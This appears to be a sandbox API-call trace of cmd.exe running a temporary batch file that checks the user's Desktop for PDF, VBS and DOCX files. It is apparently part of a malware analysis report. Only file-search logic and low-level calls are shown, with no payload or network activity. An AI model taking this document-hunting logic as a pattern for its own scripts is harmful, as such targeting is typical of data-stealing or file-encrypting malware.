0x4e0000 [0037.239] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.239] _tell (_FileHandle=3) returned 1978 [0037.239] _close (_FileHandle=3) returned 0 [0037.239] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.239] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.239] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.239] SetFilePointer (in: hFile=0x74, lDistanceToMove=1978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0037.239] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.240] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0037.240] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e73, lpOverlapped=0x0) returned 1 [0037.240] SetFilePointer (in: hFile=0x74, lDistanceToMove=2003, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0037.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\n") returned 25 [0037.240] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.240] GetFileType (hFile=0x74) returned 0x1 [0037.240] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.240] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0037.240] GetProcessHeap () returned 0x4e0000 [0037.240] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.240] GetProcessHeap () returned 0x4e0000 [0037.240] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.240] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.240] GetProcessHeap () returned 0x4e0000 [0037.240] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.240] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.240] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.240] GetProcessHeap () returned 0x4e0000 [0037.240] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.240] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.240] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.240] GetProcessHeap () returned 0x4e0000 [0037.241] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.241] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.241] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.241] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.241] GetProcessHeap () returned 0x4e0000 [0037.241] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.241] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.241] GetProcessHeap () returned 0x4e0000 [0037.241] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.241] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.241] GetProcessHeap () returned 0x4e0000 [0037.241] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.241] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.242] _tell (_FileHandle=3) returned 2003 [0037.242] _close (_FileHandle=3) returned 0 [0037.242] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0037.242] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.242] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.242] GetLastError () returned 0x2 [0037.242] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.242] GetLastError () returned 0x6 [0037.242] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.242] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.243] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.243] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.243] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.243] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.243] SetConsoleInputExeNameW () returned 0x1 [0037.243] GetConsoleOutputCP () returned 0x1b5 [0037.244] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.244] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.244] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.244] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.244] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.244] SetFilePointer (in: hFile=0x74, lDistanceToMove=2003, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0037.244] GetProcessHeap () returned 0x4e0000 [0037.244] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.244] GetProcessHeap () returned 0x4e0000 [0037.244] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.244] GetProcessHeap () returned 0x4e0000 [0037.244] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.244] GetProcessHeap () returned 0x4e0000 [0037.244] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.244] GetProcessHeap () returned 0x4e0000 [0037.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.245] GetProcessHeap () returned 0x4e0000 [0037.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.245] GetProcessHeap () returned 0x4e0000 [0037.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.245] GetProcessHeap () returned 0x4e0000 [0037.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.245] GetProcessHeap () returned 0x4e0000 [0037.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.245] GetProcessHeap () returned 0x4e0000 [0037.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.245] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.245] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0037.245] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e5a, lpOverlapped=0x0) returned 1 [0037.245] SetFilePointer (in: hFile=0x74, lDistanceToMove=2028, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0037.245] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\n") returned 25 [0037.245] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.245] GetFileType (hFile=0x74) returned 0x1 [0037.245] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.245] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0037.246] GetProcessHeap () returned 0x4e0000 [0037.246] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.246] GetProcessHeap () returned 0x4e0000 [0037.246] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.246] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.246] GetProcessHeap () returned 0x4e0000 [0037.246] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.246] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.246] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.246] GetProcessHeap () returned 0x4e0000 [0037.246] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.246] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.246] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.246] GetProcessHeap () returned 0x4e0000 [0037.246] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.246] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.246] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.246] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.246] GetProcessHeap () returned 0x4e0000 [0037.246] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.246] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.246] GetProcessHeap () returned 0x4e0000 [0037.246] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.247] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.247] GetProcessHeap () returned 0x4e0000 [0037.247] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.247] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.247] _tell (_FileHandle=3) returned 2028 [0037.248] _close (_FileHandle=3) returned 0 [0037.248] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0037.248] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.248] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.248] GetLastError () returned 0x2 [0037.248] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.248] GetLastError () returned 0x6 [0037.248] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.248] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.248] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.249] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.249] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.249] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.249] SetConsoleInputExeNameW () returned 0x1 [0037.249] GetConsoleOutputCP () returned 0x1b5 [0037.249] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.249] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.249] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.250] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.250] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.250] SetFilePointer (in: hFile=0x74, lDistanceToMove=2028, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0037.250] GetProcessHeap () returned 0x4e0000 [0037.250] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.250] GetProcessHeap () returned 0x4e0000 [0037.250] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.250] GetProcessHeap () returned 0x4e0000 [0037.250] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.250] GetProcessHeap () returned 0x4e0000 [0037.250] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.250] GetProcessHeap () returned 0x4e0000 [0037.250] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.250] GetProcessHeap () returned 0x4e0000 [0037.250] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.250] GetProcessHeap () returned 0x4e0000 [0037.250] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.250] GetProcessHeap () returned 0x4e0000 [0037.250] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.250] GetProcessHeap () returned 0x4e0000 [0037.250] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.250] GetProcessHeap () returned 0x4e0000 [0037.250] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.251] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.251] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0037.251] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e41, lpOverlapped=0x0) returned 1 [0037.251] SetFilePointer (in: hFile=0x74, lDistanceToMove=2030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0037.251] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\n") returned 2 [0037.251] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.251] GetFileType (hFile=0x74) returned 0x1 [0037.251] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.251] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0037.251] GetProcessHeap () returned 0x4e0000 [0037.251] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.251] GetProcessHeap () returned 0x4e0000 [0037.251] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.251] _tell (_FileHandle=3) returned 2030 [0037.251] _close (_FileHandle=3) returned 0 [0037.251] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.251] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.252] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.252] SetFilePointer (in: hFile=0x74, lDistanceToMove=2030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0037.252] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.252] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0037.252] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e3f, lpOverlapped=0x0) returned 1 [0037.252] SetFilePointer (in: hFile=0x74, lDistanceToMove=2057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0037.252] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n") returned 27 [0037.252] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.252] GetFileType (hFile=0x74) returned 0x1 [0037.252] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.252] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0037.252] GetProcessHeap () returned 0x4e0000 [0037.252] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.252] GetProcessHeap () returned 0x4e0000 [0037.252] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.252] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.252] GetProcessHeap () returned 0x4e0000 [0037.252] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.253] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.253] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.253] GetProcessHeap () returned 0x4e0000 [0037.253] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.253] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.253] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.253] GetProcessHeap () returned 0x4e0000 [0037.253] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.253] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.253] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.253] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4b38 [0037.253] GetProcessHeap () returned 0x4e0000 [0037.253] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f4b58 [0037.253] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b58, Size=0x18) returned 0x4f4b58 [0037.253] GetProcessHeap () returned 0x4e0000 [0037.253] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x18 [0037.253] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.253] GetProcessHeap () returned 0x4e0000 [0037.253] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.253] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4bf8 [0037.254] _tell (_FileHandle=3) returned 2057 [0037.254] _close (_FileHandle=3) returned 0 [0037.254] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2c [0037.254] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.255] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.255] GetLastError () returned 0x2 [0037.255] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.255] GetLastError () returned 0x6 [0037.255] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.255] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.255] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.255] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.255] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.255] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.256] SetConsoleInputExeNameW () returned 0x1 [0037.256] GetConsoleOutputCP () returned 0x1b5 [0037.256] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.256] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.256] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.256] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.256] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.256] SetFilePointer (in: hFile=0x74, lDistanceToMove=2057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0037.256] GetProcessHeap () returned 0x4e0000 [0037.256] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.256] GetProcessHeap () returned 0x4e0000 [0037.256] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.256] GetProcessHeap () returned 0x4e0000 [0037.257] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.257] GetProcessHeap () returned 0x4e0000 [0037.257] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.257] GetProcessHeap () returned 0x4e0000 [0037.257] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.257] GetProcessHeap () returned 0x4e0000 [0037.257] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.257] GetProcessHeap () returned 0x4e0000 [0037.257] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.257] GetProcessHeap () returned 0x4e0000 [0037.257] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.257] GetProcessHeap () returned 0x4e0000 [0037.257] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.257] GetProcessHeap () returned 0x4e0000 [0037.257] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.257] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.257] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0037.257] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e24, lpOverlapped=0x0) returned 1 [0037.257] SetFilePointer (in: hFile=0x74, lDistanceToMove=2059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0037.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0037.257] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.257] GetFileType (hFile=0x74) returned 0x1 [0037.257] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.257] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0037.258] GetProcessHeap () returned 0x4e0000 